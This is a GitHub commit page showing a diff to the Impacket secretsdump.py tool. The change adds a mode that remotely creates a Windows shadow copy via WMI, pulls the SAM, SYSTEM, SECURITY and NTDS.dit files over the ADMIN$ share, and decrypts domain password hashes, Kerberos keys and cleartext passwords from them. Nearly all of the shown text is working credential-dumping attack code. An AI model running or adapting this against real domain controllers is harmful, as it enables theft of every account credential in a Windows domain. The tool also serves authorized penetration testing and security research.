Skip to content

Commit 2e51825

Browse files
PeterGabaldonPeter Gabaldon
andauthored
[SECRETSDUMP] - NTDS.dit Dumping with Shadow Snapshot Method via WMI (No Code Execution) (#2021)
* Implemented also NTDS.dit download using ShadowSnapshot method via WMI * Added some debug msgs * Finished, but error when decrypting. Also with other methods. Found bug? * Finished, but error when decrypting. Also with other methods. Found bug? * Adding checks for correct options usage. #2021 (review) --------- Co-authored-by: Peter Gabaldon <[email protected]>
1 parent 85a03c6 commit 2e51825

File tree

2 files changed

+40
-27
lines changed

2 files changed

+40
-27
lines changed

examples/secretsdump.py

Lines changed: 25 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -116,9 +116,10 @@ def __init__(self, remoteName, username='', password='', domain='', options=None
116116
self.__resumeFileName = options.resumefile
117117
self.__canProcessSAMLSA = True
118118
self.__kdcHost = options.dc_ip
119-
self.__remoteSSMethod = options.use_remoteSSMethod
120-
self.__remoteSSMethodRemoteVolume = options.remoteSS_remote_volume
121-
self.__remoteSSMethodDownloadPath = options.remoteSS_local_path
119+
self.__remoteSSWMI = options.use_remoteSSWMI
120+
self.__remoteSSWMINTDS = options.use_remoteSSWMI_NTDS
121+
self.__remoteSSMethodWMIRemoteVolume = options.remoteSSWMI_remote_volume
122+
self.__remoteSSMethodWMIDownloadPath = options.remoteSSWMI_local_path
122123
self.__options = options
123124

124125
if options.hashes is not None:
@@ -174,9 +175,10 @@ def ldapConnect(self):
174175

175176
def dump(self):
176177
try:
177-
# Almost like LOCAL but create a Shadow Snapshot at target and download SAM, SYSTEM and SECURITY from the SS.
178+
# Almost like LOCAL but create (and deletes it after finishing) a Shadow Snapshot at target and download SAM, SYSTEM and SECURITY from the SS. No Code Execution.
179+
# If specified, NTDS will be also downloaded and parsed (no code execution needed, in contrast to vssadmin method). Use it when targeting a DC.
178180
# Then, parse locally
179-
if self.__remoteSSMethod:
181+
if self.__remoteSSWMI:
180182
self.__isRemote = False
181183
self.__useVSSMethod = True
182184
try:
@@ -191,16 +193,15 @@ def dump(self):
191193
else:
192194
raise
193195

194-
# TESTING C:\\
195-
# Should specify Volume with argument
196196
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost,
197197
self.__ldapConnection)
198198
self.__remoteOps.setExecMethod(self.__options.exec_method)
199-
sam_path, system_path, security_path = self.__remoteOps.createSSandDownload(self.__remoteSSMethodRemoteVolume,
200-
self.__remoteSSMethodDownloadPath)
199+
sam_path, system_path, security_path, *ntds_path = self.__remoteOps.createSSandDownloadWMI(self.__remoteSSMethodWMIRemoteVolume,
200+
self.__remoteSSMethodWMIDownloadPath, self.__remoteSSWMINTDS)
201201
self.__samHive = sam_path
202202
self.__systemHive = system_path
203203
self.__securityHive = security_path
204+
self.__ntdsFile = ntds_path[0] if ntds_path else None
204205

205206
localOperations = LocalOperations(self.__systemHive)
206207
bootKey = localOperations.getBootKey()
@@ -316,7 +317,7 @@ def dump(self):
316317

317318
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
318319
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
319-
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
320+
useVSSMethod=self.__useVSSMethod, remoteSSMethodWMINTDS=self.__remoteSSWMINTDS, justNTLM=self.__justDCNTLM,
320321
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
321322
outputFileName=self.__outputFileName, justUser=self.__justUser,
322323
skipUser=self.__skipUser, ldapFilter=self.__ldapFilter,
@@ -418,11 +419,13 @@ def cleanup(self):
418419
help='Use the Kerb-Key-List method instead of default DRSUAPI')
419420
parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec '
420421
'method to use at target (only when using -use-vss). Default: smbexec')
421-
parser.add_argument('-use-remoteSSMethod', action='store_true',
422+
parser.add_argument('-use-remoteSSWMI', action='store_true',
422423
help='Remotely create Shadow Snapshot via WMI and download SAM, SYSTEM and SECURITY from it, the parse locally')
423-
parser.add_argument('-remoteSS-remote-volume', action='store', default='C:\\',
424-
help='Remote Volume to perform the Shadow Snapshot and download SAM, SYSTEM and SECURITY')
425-
parser.add_argument('-remoteSS-local-path', action='store', default='.',
424+
parser.add_argument('-use-remoteSSWMI-NTDS', action='store_true',
425+
help='Dump NTDS.DIT also when using the Remote Shadow Snapshot Method via WMI. Use it with dumping from a DC. IMPORTANT: this flag only works when also using -use-remoteSSWMI')
426+
parser.add_argument('-remoteSSWMI-remote-volume', action='store', default='C:\\',
427+
help='Remote Volume to perform the Shadow Snapshot and download SAM, SYSTEM and SECURITY. It defaults to C:\\')
428+
parser.add_argument('-remoteSSWMI-local-path', action='store', default='.',
426429
help='Path where download SAM, SYSTEM and SECURITY from Shadow Snapshot. It defaults to current path')
427430

428431
group = parser.add_argument_group('display options')
@@ -473,8 +476,8 @@ def cleanup(self):
473476
domain, username, password, remoteName = parse_target(options.target)
474477

475478
if options.just_dc_user is not None or options.ldapfilter is not None:
476-
if options.use_vss is True:
477-
logging.error('-just-dc-user switch is not supported in VSS mode')
479+
if options.use_vss is True or options.use_remoteSSWMI_NTDS is True:
480+
logging.error('-just-dc-user switch is not supported in VSS mode nor WMI VSS mode')
478481
sys.exit(1)
479482
elif options.resumefile is not None:
480483
logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')
@@ -486,8 +489,12 @@ def cleanup(self):
486489
# Having this switch on implies not asking for anything else.
487490
options.just_dc = True
488491

489-
if options.use_vss is True and options.resumefile is not None:
490-
logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
492+
if (options.use_vss is True or options.use_remoteSSWMI_NTDS is True) and options.resumefile is not None:
493+
logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode nor WMI VSS mode')
494+
sys.exit(1)
495+
496+
if options.use_remoteSSWMI_NTDS is True and options.use_remoteSSWMI is not True:
497+
logging.error('-use-remoteSSWMI-NTDS requires -use-remoteSSWMI to be specified')
491498
sys.exit(1)
492499

493500
if options.use_keylist is True and (options.rodcNo is None or options.rodcKey is None):

impacket/examples/secretsdump.py

Lines changed: 15 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1282,7 +1282,7 @@ def saveNTDS(self):
12821282

12831283
return remoteFileName
12841284

1285-
def createSSandDownload(self, volume, localPath):
1285+
def createSSandDownloadWMI(self, volume, localPath, NTDS=False):
12861286
LOG.info('Creating SS')
12871287
ssID = self.__wmiCreateShadow(volume)
12881288
LOG.info('Getting SMB equivalent PATH to access remotely the SS')
@@ -1295,7 +1295,12 @@ def createSSandDownload(self, volume, localPath):
12951295
('%s/SYSTEM' % localPath, '%s\\System32\\config\\SYSTEM' % gmtSMBPath),
12961296
('%s/SECURITY' % localPath, '%s\\System32\\config\\SECURITY' % gmtSMBPath)]
12971297

1298+
if NTDS:
1299+
LOG.debug('Adding NTDS Path')
1300+
paths.append(('%s/ntds.dit' % localPath, '%s\\NTDS\\ntds.dit' % gmtSMBPath))
1301+
12981302
for p in paths:
1303+
LOG.debug("Downloading Remote path: %s to -> %s" % (p[1], p[0]))
12991304
with open(p[0], 'wb') as local_file:
13001305
self.__smbConnection.getFile('ADMIN$', p[1], local_file.write)
13011306

@@ -2389,7 +2394,7 @@ class CRYPTED_BLOB(Structure):
23892394
)
23902395

23912396
def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,
2392-
useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,
2397+
useVSSMethod=False, remoteSSMethodWMINTDS=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,
23932398
justUser=None, skipUser=None,ldapFilter=None, printUserStatus=False,
23942399
perSecretCallback = lambda secretType, secret : _print_helper(secret),
23952400
resumeSessionMgr=ResumeSessionMgrInFile):
@@ -2398,6 +2403,7 @@ def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=Tr
23982403
self.__history = history
23992404
self.__noLMHash = noLMHash
24002405
self.__useVSSMethod = useVSSMethod
2406+
self.__remoteSSMethodWMINTDS = remoteSSMethodWMINTDS
24012407
self.__remoteOps = remoteOps
24022408
self.__pwdLastSet = pwdLastSet
24032409
self.__printUserStatus = printUserStatus
@@ -2540,7 +2546,7 @@ def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, cle
25402546
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
25412547
haveInfo = False
25422548
LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo')
2543-
if self.__useVSSMethod is True:
2549+
if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:
25442550
if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
25452551
if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
25462552
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
@@ -2656,7 +2662,7 @@ def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, cle
26562662

26572663
def __decryptHash(self, record, prefixTable=None, outputFile=None):
26582664
LOG.debug('Entering NTDSHashes.__decryptHash')
2659-
if self.__useVSSMethod is True:
2665+
if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:
26602666
LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
26612667

26622668
sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
@@ -2905,9 +2911,9 @@ def dump(self):
29052911
else:
29062912
skipUsers = self.__skipUser.split(',')
29072913

2908-
if self.__useVSSMethod is True:
2914+
if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:
29092915
if self.__NTDS is None:
2910-
# No NTDS.dit file provided and were asked to use VSS
2916+
# No NTDS.dit file provided and were asked to use VSS or Shadow Snapshot Method via WMI
29112917
return
29122918
else:
29132919
if self.__NTDS is None:
@@ -2946,7 +2952,7 @@ def dump(self):
29462952
clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode)
29472953

29482954
LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
2949-
if self.__useVSSMethod:
2955+
if self.__useVSSMethod or self.__remoteSSMethodWMINTDS:
29502956
# We start getting rows from the table aiming at reaching
29512957
# the pekList. If we find users records we stored them
29522958
# in a temp list for later process.
@@ -3178,7 +3184,7 @@ def dump(self):
31783184
LOG.debug("Finished processing and printing user's hashes, now printing supplemental information")
31793185
# Now we'll print the Kerberos keys. So we don't mix things up in the output.
31803186
if len(self.__kerberosKeys) > 0:
3181-
if self.__useVSSMethod is True:
3187+
if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:
31823188
LOG.info('Kerberos keys from %s ' % self.__NTDS)
31833189
else:
31843190
LOG.info('Kerberos keys grabbed')
@@ -3188,7 +3194,7 @@ def dump(self):
31883194

31893195
# And finally the cleartext pwds
31903196
if len(self.__clearTextPwds) > 0:
3191-
if self.__useVSSMethod is True:
3197+
if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:
31923198
LOG.info('ClearText password from %s ' % self.__NTDS)
31933199
else:
31943200
LOG.info('ClearText passwords grabbed')

0 commit comments

Comments
 (0)